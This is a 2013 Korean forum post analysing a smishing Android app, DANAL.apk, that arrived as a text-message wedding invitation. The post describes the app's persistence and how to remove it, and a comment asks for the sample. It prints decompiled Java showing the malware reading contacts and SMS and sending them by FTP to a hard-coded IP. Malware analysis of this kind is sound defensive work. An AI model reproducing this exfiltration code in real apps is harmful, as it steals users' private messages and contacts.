메뉴 건너뛰기

app

[apk] 스미싱 - 안드로이드 앱 DANAL.apk

suritam92013.07.07 03:54조회 수 4575댓글 1

  • 11
    • 글자 크기

문자로 청첩장이 왔다기에 보니, 악성앱으로 사려되었다.


9.jpg


그래서 맥북에서 받아보니, DANAL.apk 라는 이름으로 되어 있었다.


다른 사례들과 비교해 봤는데, http://darksoulstory.tistory.com/category/Android/%20Android%20Malware%EB%B6%84%EC%84%9D


동일한 녀석을 아닐 걸로 보였다.


마지막 문자와 주소록을 뒤져서 ftp로 올리는 기능으로 보이는데, 설치를 안 해봐서 일단은 화면을 확인할 수 없었다. 

예전에 설치했던, android x86 2.2 버전으로 test 해 봤다.



  private void init()

  {

    this.sPreferences = getSharedPreferences("data", 0);

    if (FirstRun.IsFirstRun(this.sPreferences))

    {

      SMSOutSender.send("", this);

      getLastSMS();

      new Thread()

      {

        public void run()

        {

          MainActivity.this.readAllContacts();

          MainActivity.this.ftpUpload("126.5.25.32", "5331", "getwiner", "", "/", "/sdcard/", "contact.txt");

          super.run();

        }

      }

      .start();

    }

    System.out.println("MainActivity:init()");

    finish();

  }


6.jpg


안드로이드 sdk 에서 해서 그런지 몰라도 제대로 실행되는건지 잘 확인이 안되고, 지워지지도 않는다. 쩝


관리자 권한을 주었기 때문에 그런 것 이었다.


그래서 관리자 권한을 비활성화 하고 삭제했다.


다시 설치하면서 보니, 녀석은 재기동 하면, 아이콘이 사라지지만 설치되지 않은 척 하면서 계속 상주하며, 작업하는 무서운 놈이다.


뭔 데이터를 갖고 있는지는 몰라도 보유하고 있다.


10.jpg


data.xml 에는 별 내용이 없고, sms.db 에는 테이블을 생성하는 쿼리가 들어 있다. 내용을 빼가려는 듯.


암튼 sms를 보내면 항상 실행상태이면서 정보를 빼돌리는 기능을 하는 듯 하다.


ip가 박혀있어서 막히면 무용지물이 되긴 하지만, 내부에 계속 data를 쌓는다면, 언젠가는 또다른 앱에 의해 탈취될 가능성이 있으므로 삭제하는게 좋겠다.



2.jpg

3.jpg

4.jpg 5.jpg 

7.jpg



5.jpg


suritam9 (비회원)
  • 11
    • 글자 크기
[XE] 게시판 팁 (by lispro06) [C++] 하위 폴더 검색 최간편 소스 (by 박영식)

댓글 달기

댓글 1
  • 보안에대해 공부하는 학생입니다.


    danal.apk 샘플이라도 연구해보고싶습니다. [email protected] 으로 보내주시면 안될지 실례지만 부탁좀 드려도 될까요..^^


    스미싱관련 앱 분석하고 보고서작성해 제 블로그에 올려보고싶지만.. 샘플이 딱히없어서 그것마저 불가능하네요.

    도와주시면 안될까요..^^ 초면에 이런부탁해서 죄송합니다.


    Tonyan 누르면 제 블로그로 이동되니 가능하면 부탁드리겠습니다.

    enjoyhacking 이라는 티스토리 블로그입니다. 긴글읽어주셔서 감사합니다 :)

suritam9
2013.12.02 조회 3081
lispro06
2014.02.08 조회 3557
lispro06
2013.12.10 조회 2679
suritam9
2019.04.05 조회 109
suritam9
2019.03.07 조회 14
suritam9
2019.03.06 조회 19
이전 1 2 3 4 5 6 7 8 9 10... 14다음
첨부 (11)
1.jpg
50.2KB / Download 25
2.jpg
27.6KB / Download 20
3.jpg
44.4KB / Download 23
4.jpg
27.0KB / Download 21
5.jpg
43.7KB / Download 21
6.jpg
94.1KB / Download 22
7.jpg
48.0KB / Download 25
8.jpg
39.7KB / Download 22
9.jpg
124.4KB / Download 23
10.jpg
53.2KB / Download 28
11.jpg
49.5KB / Download 23
위로